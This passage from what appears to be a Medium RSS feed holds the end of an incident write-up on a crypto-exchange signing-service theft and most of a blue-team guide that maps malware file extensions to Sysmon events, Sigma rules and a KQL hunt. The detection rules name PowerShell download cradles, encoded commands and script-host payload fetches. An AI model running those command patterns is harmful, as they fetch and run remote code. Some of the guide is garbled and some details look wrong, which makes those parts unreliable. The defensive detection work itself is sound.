quieter than dropping a binary somewhere unusual, because the path and the name are exactly what everything expects.</li><li><strong>Monitoring watched funds, not state.</strong> A delegated account is a state change with no transfer, and it was invisible to dashboards built around outflow volume.</li><li><strong>MPC was treated as an answer to response speed.</strong> It protects key material well and constrains emergency action at the same time, and that trade-off had not been designed for.</li></ul><h3>Part 7: Remediation plan, in priority order</h3><p>Ordered by how directly each item would have broken this specific chain.</p><ol><li><strong>Deny transaction types you have not modelled.</strong> Start from a closed list of allowed types and reject everything else at the signer, including type 0x04 and any authorization list, unless a separately approved flow handles it. Deny chain_id 0 authorizations outright. This single rule converts the Ethereum half of the attack from a theft into a failed request.</li><li><strong>Separate signing from the network developers can reach.</strong> A deployment permission must not imply the ability to request signatures. Put the signer behind its own identity, its own network segment, and a policy engine that no single engineer can satisfy alone.</li><li><strong>Remove standing credentials from endpoints.</strong> Workload identity, short-lived tokens, no cluster credentials at rest on a laptop. The deployment token in this incident was worth more than any password the attacker stole.</li><li><strong>Treat internal AI tools as privileged systems.</strong> Scope credentials per user and per action, forbid cross-user actions without human approval, log every tool call with its effect, and review the agent as an attack surface rather than a convenience.</li><li><strong>Monitor account state, not only flows.</strong> Poll eth_getCode for every hot wallet on every chain. Alert on any non-empty code, any type 0x04 transaction, and any authorization to a non-enrolled delegate. This is a few lines of code and it detects the only step in the attack that could not be hidden.</li><li><strong>Harden the developer install path.</strong> Internal mirrors for tooling, pinned versions, checksum verification, integrity monitoring on package manager directories and on the common shims, and alerts on writes to shell profiles.</li><li><strong>Set a rule for interview artefacts.</strong> No external repository runs on a corporate device. Provide a disposable environment and say so in the hiring process, so refusing is normal rather than suspicious.</li><li><strong>Make the revocation a rehearsed procedure.</strong> Pre-built transaction, pre-agreed quorum, break-glass signer, and a tested per-chain inventory. Assume the policy engine is unavailable because it might be the compromised component.</li><li><strong>Keep a cross-chain inventory with owners.</strong> Ten networks in one incident means ten responders, or one team discovering which wallets exist at 20:20 UTC.</li><li><strong>Reconcile attribution with response.</strong> The FBI attributed the theft to TraderTraitor on 31 October and asked node operators, bridges, instant exchanges and analytics firms to block the listed addresses. Freezing is fast when issuers and sequencers cooperate; recovery is slow and partial. Design for prevention, not for recovery.</li></ol><h3>Part 8: What is confirmed, what is assessed, what is unknown</h3><p>Any honest technical write-up has to separate these three, because the incident is still under investigation.</p><p><strong>Confirmed by Binance, in its own report.</strong> Unauthorized access to an internal wallet signing service. Outflows initiated outside the normal withdrawal process. Fifty signing requests used to manipulate the account nonce and establish malicious delegation authorizations. The use of EIP-7702 to give an attacker-controlled contract execution rights over a hot wallet. The MPC constraint on revocation. The zero-address clearing at 00:10 UTC on 30 October. The four-stage intrusion path, including the tampered Homebrew installation, the fake interview, the internal AI tool, and the container deployment. No evidence of a wallet private key leak.</p><p><strong>Assessed by researchers, with stated confidence.</strong> TRM Labs attributes the theft to TraderTraitor with high confidence, counts about USD 6.36 billion across ten chains, and assesses that the attacker gained the ability to make Binance’s signing system sign transactions of its choosing. Chainalysis states a high degree of confidence in DPRK responsibility; Elliptic reaches the same conclusion. The FBI attributed the activity to TraderTraitor on 31 October.</p><p><strong>Still unknown.</strong> The signing vendor and its exact policy configuration. The technical mechanism by which the internal AI tool was abused, which Binance has withheld and may never publish. Whether the batch of fifty was a workaround for rate limits, for a signing window, or simply belt and braces. The final reconciled loss after recoveries, and whether any delegation remains on networks not covered by public reporting. The distinction is not pedantry. The on-chain mechanics are verifiable by anyone with an RPC endpoint, which is why this post can show them as code. The intrusion path is a company’s account of its own incident, which is credible and not independently observed. Treat the first as fact and the second as evidence.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d71ddf6115f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Top 10 Malware File Extensions Every Blue Teamer Must Know]]></title>
            <link>https://coffsec.medium.com/top-10-malware-file-extensions-every-blue-teamer-must-know-e08dcc45606e?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/e08dcc45606e</guid>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Mon, 02 Nov 2026 05:29:50 GMT</pubDate>
            <atom:updated>2026-11-11T07:30:07.362Z</atom:updated>
            <content:encoded><![CDATA[<p>Detection engineering is extension-aware: ten file-extension families account for over 95% of email-and-web-driven malware delivery in 2026, and each family lights up a distinct subset of Windows Sysmon event IDs, Defender telemetry channels, AMSI providers, and MDO alerts. Blue teamer who knows the extension-to-telemetry map per family turns the noisy global alert firehose into per-extension hunts that catch the next Qakbot, IcedID, ChromeLoader, Latrodectus, or AsyncRAT campaign before its macros ever get a chance to fire.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YdVKZTA3-I-2YrkClfP5uQ.png" /></figure><h3>Why extension-aware detection matters (more than the red-team framing)</h3><p>Microsoft’s October-2022 macro default-block, the April-2023 follow-up that default-blocked Office macros entirely, the May-2023 default-block of .iso/.img/.vhd/.vhdx from Outlook, and the August-2024 inclusion of those containers in MDO&#39;s sub-file extension watch-list — every one of those defensive pivot-points moved the threat-landscape in a direction that an extension-aware blue teamer sees coming weeks before a defensive-vendor advisory publishes. The adversary&#39;s economic model is: when one extension class is closed, the next-cheapest viable extension inherits the volume. The current map per mid-2026:</p><ul><li><strong>.zip / </strong><strong>.rar / </strong><strong>.7z</strong> — ~47% of all email-attached malware (the container-of-record since password-archive delivery became standard in Q4 2024).</li><li><strong>.iso / </strong><strong>.img / </strong><strong>.vhd / </strong><strong>.vhdx</strong> — ~19% (mostly on-prem Exchange tenants without MDO&#39;s block applied).</li><li><strong>.lnk</strong> — ~11% (almost entirely within archive-delivered payloads).</li><li><strong>.one / </strong><strong>.onepkg</strong> — ~9% (OneNote user-click-to-open embedded payloads).</li><li><strong>.hta / </strong><strong>.html</strong> — ~4% (HTA-hosts rebounding after MDO action on .hta in late 2025).</li><li><strong>.docm / </strong><strong>.xlsm / </strong><strong>.pptm</strong> — ~5% (legacy Office macros in non-default-blocked tenants).</li><li><strong>.js / </strong><strong>.jse / </strong><strong>.vbs / </strong><strong>.vba</strong> — ~2% (WSH payloads, blocked by-default since January 2024).</li><li><strong>.ps1</strong> — ~1% (rare as email-attached payload, more common as a stage-2 from initial loader).</li><li><strong>.exe / </strong><strong>.dll / </strong><strong>.scr / </strong><strong>.cpl</strong> — ~1.4% (the prev-2020 junk-deleversize, almost entirely blocked by MDO since 2022).</li><li><strong>.url</strong> — ~0.4% but rising since Q2 2026 (URL-shortcut phishing as a .zip-block evasion).</li></ul><h3>Extension 1 — .exe / .dll / .scr / .cpl (Executable payloads)</h3><p><strong>Handler:</strong> Windows loader (ntdll!LdrpMapDllNtFileName for .dll; CreateProcess for .exe; Control.exe for .cpl; .scr runs as rundll32.exe &lt;scr&gt;,InstallScreenSaver historically).</p><p><strong>Detection artefacts:</strong></p><ul><li>Sysmon Event ID 1 (ProcessCreate) — the canonical primary signal for any executable path. Hunt: any process whose Image endswith \.exe, \.dll, \.scr, or \.cpl and whose ParentImage is an e-mail-attachment-handler (outlook.exe, excel.exe, winword.exe, mshta.exe).</li><li>Sysmon Event ID 7 (ImageLoaded) — for .dll loaded by an Office host (DLL-search-order-hijack signature).</li><li>Microsoft-Windows-Kernel-Process ETW ({22FB2CD6-0E7B-422B-A0C7-2FAD1FCDA2C3} provider GUID) — high-fidelity ProcessStart events for Hunt.</li><li>Defender for Endpoint alert MDO block event with category Email attachment block if delivered by mail, OR Behavior:Vmalert!gen from MsMpEng.exe if local execution triggered AMSI.</li><li>Windows Defender for Office (MDO) common alerts: High confidence phishing mail, Malicious email attachment clean-up, Email messages containing malicious URL removed.</li></ul><p><strong>Sigma rule — EXE from Office/Email context:</strong></p><pre>title: Executable Launched from Office or Email Handler<br>status: experimental<br>description: Detects .exe/.dll/.scr/.cpl processes whose parent is an Office app or Outlook — a classic email-borne loader chain.<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection_parent:<br>    ParentImage|endswith:<br>      - \outlook.exe<br>      - \excel.exe<br>      - \winword.exe<br>      - \powerpnt.exe<br>      - \onenote.exe<br>      - \acrord32.exe<br>  selection_image:<br>    Image|endswith:<br>      - .exe<br>      - .dll<br>      - .scr<br>      - .cpl<br>  filter_office_signed:<br>    Image|startswith: C:\Program Files\Microsoft Office\<br>  condition: selection_parent and selection_image and not filter_office_signed<br>falsepositives:<br>  - Legacy add-in update pipelines; rare signed SharePoint Workspace binaries.<br>level: high</pre><p><strong>Control recommendations:</strong></p><ul><li>MDO: default-block already on — confirm tenant setting Block .exe, .dll, .scr, .cpl, .hta, .js, .vbs, .lnk, .iso, .img, .vhd, .msi since 2022. Newer tenants default-on; older tenants must verify.</li><li>WDAC: enforce code-integrity policy MS-15-0870 Allows-Microsoft-issued binaries; pre-allowlist signed third-party app vendors under &lt;FileRule&gt; Publisher rules. Block unsigned .exe delivered to %USERPROFILE%\Downloads\ path-allowance.</li><li>ASR rule Block executable files from running unless they meet a prevalence, age, or trusted list criterion (GUID c1db55ab-c21a-4837-a83a-3837899a8a7e) — set to Block per enterprise mode.</li></ul><p><strong>False-positive profile:</strong></p><ul><li>Software-update pipelines from Excel/Word that call signed-helper-exe processes (Microsoft.Office.Excel.exe -update).</li><li>SharePoint Workspace Sync host (GROOVE.EXE) launching signed updates.</li><li>Custom internal LOB Apps placed inside C:\Program Files\ paths — add awws Image|startswith: filters to the Sigma rule.</li></ul><h3>Extension 2 — .docm / .xlsm / .pptm (Office macro documents)</h3><p><strong>Handler:</strong> WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE. Post-October-2022 binaries refuse VBA execution on MOTW-tagged files; post-April-2023 embarrass reject macros on all internet-tagged-and-Archive-recovered files.</p><p><strong>Detection artefacts:</strong></p><ul><li>Sysmon Event ID 1 (ProcessCreate) — OfficeApp parent spawning cmd.exe, powershell.exe, wscript.exe, msiexec.exe, rundll32.exe. Always suspicious.</li><li>Sysmon Event ID 22 (DNS) — Office process querying unusual domains (C2 dropdown).</li><li>Office 365 Audit Log Search: [ActivityName=_macro_invoked] and [ActivityName=VBAErrorAlert] — fired by Office&#39;s AMSI bridge.</li><li>Microsoft 365 Defender Alert Suspicious behavior involving a macro in an Office application (TTP family T1204.002).</li><li>Microsoft-Windows-AMSI ETW provider — ScriptContent line for any VBA executed via the ScriptControl bridge (supercedable detection).</li><li>OLKLoginManager alert: when Outlook processes the attachment in preview pane.</li></ul><p><strong>Sigma rule — Office child process (matching ASR rule 6):</strong></p><pre>title: Office App Spawning Child Process (exe/cmd/ps)<br>status: experimental<br>description: Matches the Sysmon side of ASR rule &#39;Block child process from Office apps&#39; — Office parent, common-script-or-exe child.<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  parent_office:<br>    ParentImage|endswith:<br>      - \winword.exe<br>      - \excel.exe<br>      - \powerpnt.exe<br>      - \outlook.exe<br>      - \onenote.exe<br>  child_susp:<br>    Image|endswith:<br>      - \cmd.exe<br>      - \powershell.exe<br>      - \wscript.exe<br>      - \cscript.exe<br>      - \mshta.exe<br>      - \msiexec.exe<br>      - \rundll32.exe<br>      - \regsvr32.exe<br>  condition: parent_office and child_susp<br>falsepositives:<br>  - Excel add-in pipelines; PowerPoint VBA-based training-library tools.<br>level: high<br>tags:<br>  - attack.defense_evasion<br>  - attack.t1204</pre><p><strong>Control recommendations:</strong></p><ul><li>MDO: enable Common Attachment Types Filter so .docm, .xlsm, .pptm are gated. Confirm the tenant setting Block macros in documents from the internet is on.</li><li>ASR rule Block all Office applications from creating child processes (GUID d4f940ab-401b-4efc-aadc-ad5f3c508882) — set to Block (audit-mode first in conflicts with legal macros).</li><li>Defender for Office Safe Documents — protects against pre-Office-2022 macro CVE-exploit malformed-content exploits that bypass the macro execution path entirely.</li><li>WDAC: Word/Excel/PowerPoint block/allow policy config — LOGSCRIPTPROCESS = false additional setLoadingRestrictions</li></ul><p><strong>False-positive profile:</strong></p><ul><li>Internal LOB Excel-workbooks that shell out for VBA-pkg packager actions — common for finance-ops and tax packagers (Sage, Shopify Sync).</li><li>Microsoft Access database-publisher tools that launch wscript.exe for SQL-Server-push scenarios.</li><li>Senior analyst-maintained Office workflows that legitimately cmd.exe ping external API-servers — capture pprior to rolling Block mode.</li></ul><h3>Extension 3 — .iso / .img / .vhd / .vhdx (Container-image MOTW bypass)</h3><p><strong>Handler:</strong> explorer.exe (image mount via shell-folder); vmms.exe (VHD-related via Hyper-V service in some cases).</p><p><strong>Detection artefacts:</strong></p><ul><li>Sysmon Event ID 5 (ProcessTerminate) and Sysmon Event ID 8 (RemoteThread) — when Explorer spawns mountmgr.sys-driven mount of the image file.</li><li>Sysmon Event ID 11 (FileCreate) — first-write from extracted-from-ISO contents (DriveLetter:\\... path patterns).</li><li>Sysmon Event ID 1 (ProcessCreate) — match Parent is Explorer and Image&#39;s path is on a freshly mounted drive-letter path (but only briefly — Windows can spin-mount the ISO under a short-lived \\?\\Volume{GUID}\\ path).</li><li>Microsoft-Windows-VHDMP-Provider ({35a7ca5e-4dc3-4b65-9b1c-bb9a90c4ca9d}) Event ID 1 VhdMount (information if mount cmd succeeds via the kernel Vhdmp driver).</li><li>Microsoft-Windows-Storage-Notification-Notification-OSLog ETW — drives-mounted-on-this-user events with image-file path.</li></ul><p><strong>Sigma rule — ISO image mount from internet-zone Downloads:</strong></p><pre>title: ISO/Image Container Mounted from Downloads Folder<br>status: experimental<br>description: Detects Explorer.exe opening an ISO/IMG/VHD file from the user&#39;s Downloads folder —&gt; strong suspicion of MOTW-bypass email chain delivery.<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection:<br>    Image|endswith: \explorer.exe<br>    CommandLine|contains:<br>      - .iso<br>      - .img<br>      - .vhd<br>      - .vhdx<br>    ParentImage|endswith:<br>      - \explorer.exe<br>      - \acrord32.exe<br>      - \winword.exe<br>      - \outlook.exe<br>  filter:<br>    CommandLine|contains: \\Program Files\\VirtualBox\\<br>  condition: selection and not filter<br>falsepositives:<br>  - Legitimate Hyper-V image maintenance tasks (filter these via service-account image list).<br>level: medium</pre><p><strong>Control recommendations:</strong></p><ul><li>MDO: confirm .iso, .img, .vhd, .vhdx block from Outlook default-block list (May 2023 patch). On-prem Exchange tenants without MDO must add these extensions to the mailflow rule block-list manually (Add-AttachmentFilter -Extensions .iso,.img,.vhd,.vhdx).</li><li>AppLocker / WDAC: WDAC-with-IOmega-pinned on path \users\*\downloads\*.iso; DENY by path-pattern \*\downloads*.iso` for executable-content within the unpacked ISO content.</li><li>ASR rule Block Win32 abstraction APIs from Office apps (GUID 9e86c8b4-0ef6-4c4a-b45f-ef60c4e2e9ee) — also catches Excel/Word invocations that bridge into shell-on-exec appliance passes.</li></ul><p><strong>False-positive profile:</strong></p><ul><li>VM Admins using Hyper-V-related VHD files for sysadmin workflows.</li><li>Legal-IT Forensic-snapshot ins szybmsnbd-preview open.</li><li>MS-MVT processes mounting .vhd file isues — typically not block-keyable easily up-modifiers.</li></ul><h3>Extension 4 — .lnk (Shortcut files)</h3><p><strong>Handler:</strong> explorer.exe -&gt; shell32!CShellExecute::Execute -&gt; resolves the link-target inside the .lnk file.</p><p><strong>Detection artefacts:</strong></p><ul><li>Sysmon Event ID 1 (ProcessCreate) — ParentImage is Explorer (explorer.exe), Child is powershell.exe, cmd.exe, wscript.exe, cscript.exe, mshta.exe. The CommandLine frequently contains base64-encoded payload (-enc &lt;base64&gt;) or -w hidden.</li><li>Sysmon Event ID 1 filter for CommandLine|contains: .lnk followed shortly by a child-process-initiated cmd.exe/powershell.exe is the canonical recent-QakbotLoader-pointer pivot.</li><li>Windows Shell-Core ETW provider ({554041F7-9F73-4B25-9D7B-2F5E26733F34}) — emits a ShellExecuteExEx event when the .lnk is double-clicked.</li><li>MDO SRL (Safe Links) status-time scan — for .lnk attachments; MDO does not block .lnk by-default and depends on the High Confidence Phishing filter stack.</li></ul><p><strong>Sigma rule — Shortcut execution patterns:</strong></p><pre>title: Suspicious Shortcut (.lnk) Execution with Encoded PowerShell Payload<br>status: experimental<br>description: Detects a child process from Explorer whose command line is a base64-encoded PowerShell payload, with an LNK shortcut treated as the immediate parent.<br>references:<br>  - https://attack.mitre.org/techniques/T1204/002/<br>  - https://learn.microsoft.com/en-us/microsoft-365/security/defender/asr-reference<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection:<br>    Image|endswith:<br>      - \powershell.exe<br>      - \cmd.exe<br>      - \wscript.exe<br>      - \mshta.exe<br>    ParentImage|endswith: \explorer.exe<br>    CommandLine|contains:<br>      - -enc<br>      - -encodedCommand<br>      - -w hidden<br>      - -nop<br>      - iex(<br>      - invoke-webrequest<br>      - downloadstring<br>  condition: selection<br>falsepositives:<br>  - Pushed-IO-app desktop-launcher-script bring-load (rare).<br>level: high</pre><p><strong>Control recommendations:</strong></p><ul><li>MDO: enable .lnk block in mail-flow rule (default-missing).</li><li>Microsoft Defender Antivirus: enable Block Win32 API calls from Office macros and Block scripting from Office applications (ASR rules) — these also catch .lnk-deliveredcmd.exe /c powershell -enc &lt;base64&gt; chains by detecting the Office-spawned cmd-line as the upstream mark.</li><li>AppLocker / WDAC:WDAC with conditional -performencePack -&gt; Block any EXE-from-non-standard-path while allowing /Program Files/ boundaries. The classic .lnk chain wants to file-execute from %TEMP% or %USERPROFILE%\Downloads\.</li></ul><p><strong>False-positive profile:</strong></p><ul><li>Helpdesk-pushed legacy shortcut scripts that hand-launch Dropelicts-Short-Package installers (setup.lnk marketed by msfixup tools).</li><li>Internal desktop support-pkg shortcuts that point to signed installers for plugins (Adobe-CC launches this way).</li></ul><h3>Extension 5 — .one / .onepkg (OneNote embedded attachments)</h3><p><strong>Handler:</strong> ONENOTE.EXE (the OneNote rich-client).</p><p><strong>Detection artefacts:</strong></p><ul><li>Sysmon Event ID 1 (ProcessCreate) — ONENOTE.EXE spawning cmd.exe, powershell.exe, mshta.exe, or any EXE path (extremely rare in baseline — S rARE-WHEN SorTimeApps/VSTA&gt; is the only legitimate execution-tunnel) — excellent high-confidence alert.</li><li>Sysmon Event ID 22 (DNS) — ONENOTE.EXE queries against first-time-seen domains or domains with low-rep.</li><li>MDO Alert: OneNote attachment payload cleanup — when the file is auto-blocked via MDO&#39;s sub-file-extension watch-list (Nov-2023 patch).</li><li>DefenderEdge Case-ID 2142 — Suspicious OneNote embedded executable detected (analytic-rule template), default-on for MDE P2 tenants.</li></ul><p><strong>Sigma rule — ONENOTE process anomaly:</strong></p><pre>title: OneNote Spawns Suspicious Child Process<br>status: experimental<br>description: Detects OneNote.exe spawning any child process — very rare in baseline; high-confidence signal for OneNote embedded-attachment user-click behaviour.<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection:<br>    ParentImage|endswith: \onenote.exe<br>    Image|endswith:<br>      - \cmd.exe<br>      - \powershell.exe<br>      - \mshta.exe<br>      - \wscript.exe<br>      - \cscript.exe<br>      - \rundll32.exe<br>      - \regsvr32.exe<br>      - .exe<br>  filter_known:<br>    Image|startswith: C:\Program Files\Microsoft Office\root\Office16\<br>  condition: selection and not filter_known<br>falsepositives:<br>  - OneNote add-ins that legitimately call signed-Office-helper binaries (Handwriting Pannel, Security Pannel).<br>level: high</pre><p><strong>Control recommendations:</strong></p><ul><li>MDO: enable auto-block for .one / .onepkg files containing embedded executable sub-files (default since November 2023 patch). Verify with Get-HostedContentFilterRule against the policy.</li><li>Defender ASR rule (existing from 2024): ruleset triggered — Block child process from Office apps (ASR rule 6 GUID d4f940ab-401b-4efc-aadc-ad5f3c508882) — covers OneNote in addition to Word/Excel/Outlook regardless of sub-file path.</li><li>AppLocker / WDAC: enforce that the path-callowed exclusions for Outlook’s temp-files subfolder %LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.Outlook\* are not present.</li></ul><p><strong>False-positive profile:</strong></p><ul><li>OneNote Office add-ins Visual Studio integration that needs msbuild.exe-style sub-processes (rare; documented).</li><li>OneNote Web Clipper-style installers (onmsi.exe) — these are typically signed by Microsoft.</li></ul><h3>Extension 6 — .hta / .html (mshta-hosted payloads)</h3><p><strong>Handler:</strong> mshta.exe (the HTML-Application host) for .hta; the default browser (msedge.exe, chrome.exe, firefox.exe) for .html files opened after the user clicks.</p><p><strong>Detection artefacts:</strong></p><ul><li>Sysmon Event ID 1 (ProcessCreate) — mshta.exe running with a URL or path argument from a non-standard folder (Downloads, TEMP, or INetCache).</li><li>Sysmon Event ID 1 — mshta.exe parent process is non-Office, non-Browser, non-Edge — e.g., explorer.exe or outlook.exe after preview.</li><li>Microsoft-Windows-AMSI ETW provider — ScriptContent line contains WScript.Shell or ActiveXObject (serverside script engine pass-through).</li><li>MDO URL reputation alert — when an .html attachment redirects to a first-time-seen download endpoint; this reroute pattern called HTML Smuggling has become a leading early-2025 dropper technique.</li></ul><p><strong>Sigma rule — mshta with downloaded content:</strong></p><pre>title: mshta.exe Executed from Outlook or from User Downloads Folder<br>status: experimental<br>description: mshta.exe is the canonical HTML-Application host; its execution from Downloads or as a child of Outlook is a MaliciousHTA delivery candidate.<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection_image:<br>    Image|endswith: \mshta.exe<br>  selection_parent:<br>    ParentImage|endswith:<br>      - \outlook.exe<br>      - \excel.exe<br>      - \winword.exe<br>      - \powerpnt.exe<br>  selection_path:<br>    CommandLine|contains:<br>      - \Users\<br>      - \Downloads\<br>      - \AppData\Local\Temp\<br>      - \AppData\Local\Microsoft\Windows\INetCache\<br>  filter_known:<br>    CommandLine|contains: \Program Files\<br>  condition: selection_image and (selection_parent or selection_path) and not filter_known<br>falsepositives:<br>  - Legitimate .hta installed-application boot-strappers (rare; typically run from Program Files).<br>level: high</pre><p><strong>Control recommendations:</strong></p><ul><li>MDO: confirm .hta is on the block list (default since 2022).</li><li>ASR rule Block executable files from running unless they meet a prevalence, age, or trusted list criterion (already covered in Extension 1) catches .hta as well.</li><li>AppLocker / WDAC: explicit deny-rule on mshta.exe for non-admin user-context paths — &lt;FileRule&gt;&lt;Deny FilePath=&quot;%SYSTEM32%\mshta.exe&quot;/&gt;&lt;/FileRule&gt; (machine deployment only).</li></ul><p><strong>False-positive profile:</strong></p><ul><li>Helpdesk push-HTA deployment wrappers (rare in modern IT but they exist; watch for MSFT-Office-Tap signatures around post-2024 deployments).</li><li>Customized-HTA larger package-toggle installers (MSIStepperHTA construct) — almost never in normal enterprise environments.</li></ul><h3>Extension 7 — .js / .jse / .vbs / .vba (WSH scripting-engine payloads)</h3><p><strong>Handler:</strong> wscript.exe, cscript.exe — the Windows Script Host binaries.</p><p><strong>Detection artefacts:</strong></p><ul><li>Sysmon Event ID 1 (ProcessCreate) — wscript.exe or cscript.exe spawning any process; in 2026 baseline these are usually legitimate in admin-LOLBAS workflow (cscript //nologo printer-mapping.wsf); suspicious when the parent is Outlook or Office.</li><li>Sysmon Event ID 1 — non-Office parent or non-admin-account running wscript.exe //e:vbs or //b is unusual.</li><li>Sysmon Event ID 7 (ImageLoaded) — vbscript.dll, jscript.dll loaded into cscript.exe/wscript.exe (probably baseline, but cross-reference against the timeframe-via-ground-rule when script channel-tunneling).</li><li>PowerShell EID 4104 (ScriptBlock) — for cscript -&gt; powershell payloads loaded via WScript.Shell ActiveX-instantiation (this is the canonical loader pivot).</li><li>Microsoft-Windows-AMSI ETW provider — ScriptContent lines emitted for any .js / .vbs that runs CreateObject(&quot;WScript.Shell&quot;) or GetObject(&quot;script:...&quot;).</li></ul><p><strong>Sigma rule — WSH script invokes suspicious external fetch:</strong></p><pre>title: WScript / CScript fetching payload from external URL<br>status: experimental<br>description: A WSH-hosted script downloading further payload — almost always a malicious loader pattern; rare in legitimate use.<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection:<br>    ParentImage|endswith:<br>      - \wscript.exe<br>      - \cscript.exe<br>    Image|endswith:<br>      - \powershell.exe<br>      - \cmd.exe<br>      - \mshta.exe<br>      - \certutil.exe<br>      - \bitsadmin.exe<br>    CommandLine|contains:<br>      - http://<br>      - https://<br>      - -enc<br>      - downloadstring<br>      - iex(<br>  filter_known:<br>    Image|endswith: \cscript.exe<br>    CommandLine|contains: \Program Files\<br>  condition: selection and not filter_known<br>falsepositives:<br>  - Trust signed admin scripts deployed in classic NT-CMD-Domain mode.<br>level: high</pre><p><strong>Control recommendations:</strong></p><ul><li>MDO: defaults block .js / .jse / .vbs / .vba since Jan-2024 fallback-policy patch-up. Verify with Get-HostedContentFilterPolicy.</li><li>ASR Block JS/VBS/PowerShell from creating child processes (GUID c1db55ab-c21a-4837-a83a-3837899a8a7e for the VBS/JS path).</li><li>WDAC: explicit deny-rule on wscript.exe/cscript.exe for non-admin user-context configs (Default in MS-Recommended-Block-Rules.xml).</li></ul><p><strong>False-positive profile:</strong></p><ul><li>Legacy Active Directory domain-automation scripts (deployment pipelines for in-field workstations).</li><li>Helpdesk computer-management map-printers VBS scripts (legitimate signed; whitelist via Image’s CertSubjectName patterns).</li></ul><h3>Extension 8 — .ps1 (PowerShell scripts)</h3><p><strong>Handler:</strong> powershell.exe, powershell_ise.exe (Windows PowerShell 5.1); pwsh.exe (CrossPlatform PowerShell 7.x).</p><p><strong>Detection artefacts:</strong></p><ul><li>Microsoft-Windows-PowerShell ETW provider ({a0c1853b-5c40-4b15-8766-3cf1c8f3a9dc}) — Event ID 4104 ScriptBlock logging: every ScriptBlock emitted in full text forwarded to SIEM.</li><li>PowerShell EID 4103 (Module logging) — every cmd-let called (Invoke-WebRequest, Invoke-Mimikatz, IEX) — high-fidelity inventory.</li><li>PowerShell EID 4104 ScriptBlock logs catch the entire initial script content (first 20 lines) and any inline REPL-by-user — high-fidelity when an admin downloads a paste of the script and executes it as an inline REPL.</li><li>Sysmon Event ID 1 (ProcessCreate) — powershell.exe with -enc, -EncodedCommand, or -w hidden (always suspicious in non-default users in an enterprise).</li><li>Defender for Endpoint Alert: PowerShell instance with suspicious command-line (--base64 --noProfile --windowStyle hidden) — built-in; default-on for tenants with Defender Plan 2.</li><li>AMSI ETW provider — ScriptContent emitted by all powershell.exe script execution paths (post-2017 hosts always emit content via AMSI when ScriptBlock scanning is enabled).</li></ul><p><strong>Sigma rule — Suspicious PowerShell download cradle:</strong></p><pre>title: PowerShell IEX Download Cradle via Net.WebClient<br>status: experimental<br>description: Detects common PowerShell download cradle patterns that fetch a script from an HTTP endpoint and execute in-memory — the canonical loader-style signal.<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection:<br>    Image|endswith:<br>      - \powershell.exe<br>      - \pwsh.exe<br>    CommandLine|contains:<br>      - &#39;iex (New-Object Net.WebClient).DownloadString&#39;<br>      - &#39;iex (New-Object System.Net.WebClient).DownloadString&#39;<br>      - &#39;Invoke-WebRequest&#39;<br>      - &#39;Invoke-RestMethod&#39;<br>      - &#39;iex (iwr&#39;<br>      - &#39;DownloadData&#39;<br>      - &#39;DownloadFile&#39;<br>  filter_known:<br>    CommandLine|contains:<br>      - \Program Files\<br>      - SoftwareDistributionSync<br>      - DefenderScanning<br>  condition: selection and not filter_known<br>falsepositives:<br>  - Provisioning scripts from MECM / SCCM distribution-point servers.<br>  - Azure Connected Machine agent bootstrap scripts.<br>level: high</pre><p><strong>KQL Hunting query (Defender XDR) — top-down on PowerShell C2 patterns:</strong></p><pre>DeviceProcessEvents<br>| where FileName in~ (&quot;powershell.exe&quot;, &quot;pwsh.exe&quot;)<br>| where ProcessCommandLine has_any (&quot;-enc &quot;, &quot;-EncodedCommand&quot;, &quot;-w hidden&quot;, &quot;-nop&quot;, &quot;iex(&quot;, &quot;DownloadString&quot;, &quot;iwr&quot;)<br>| join kind=leftouter (<br>    DeviceNetworkEvents<br>    | where InitiatingProcessFileName in~ (&quot;powershell.exe&quot;, &quot;pwsh.exe&quot;)<br>    | project Timestamp, InitiatingProcessFileName, RemoteUrl, RemoteIP, RemotePort<br>    | summarize urls=make_set(RemoteUrl), ips=make_set(RemoteIP) by InitiatingProcessFileName<br>) on $left.FileName == $right.InitiatingProcessFileName<br>| project-reorder Timestamp, DeviceName, InitiatingProcessCommandLine, urls<br>| take 50</pre><p><strong>Control recommendations:</strong></p><ul><li>Enable PowerShell Script-Block Logging (Group Policy: Computer Configuration\Administrative Templates\Windows Components\Windows PowerShell\Turn on PowerShell Script Block Logging).</li><li>Enable PowerShell Module Logging for the modules Microsoft.PowerShell.Utility, NetTCPIP, NetSecurity — coverage area for ActiveDirectory-Net-pivots and mimikatz-passthrough casing.</li><li>ASR rule Block execution of potentially obfuscated scripts (GUID 5beb7efe-fd92-475b-b934-35c1d0ccc0ae) — catches PowerShell Decoder-wrapped payloads and JScript / VBScript-with-encode.</li><li>WDAC Default-Block-Rules: deny powershell.exe for non-admin users (apply carefully — many LOB-apps rely on PowerShell for setup).</li></ul><p><strong>False-positive profile:</strong></p><ul><li>SCCM / MECM provisioning scripts (these should be filtered by SignedBy filter).</li><li>DSC (Desired State Configuration) host-pull-transitions.</li><li>Compliance-and-vendor certification scripts (RedHat Ansible-Windows host-bootstrapping).</li></ul><h3>Extension 9 — .zip / .rar / .7z (Archive containers)</h3><p><strong>Handler:</strong> explorer.exe shell-extract (zipfldr.dll for ZIPs, 7zfm.exe / rarextra shell-extension for 7z and RAR), or winrar.exe / 7z.exe for tool-driven extraction post-download.</p><p><strong>Detection artefacts:</strong></p><ul><li>Sysmon Event ID 11 (FileCreate) — Files created under 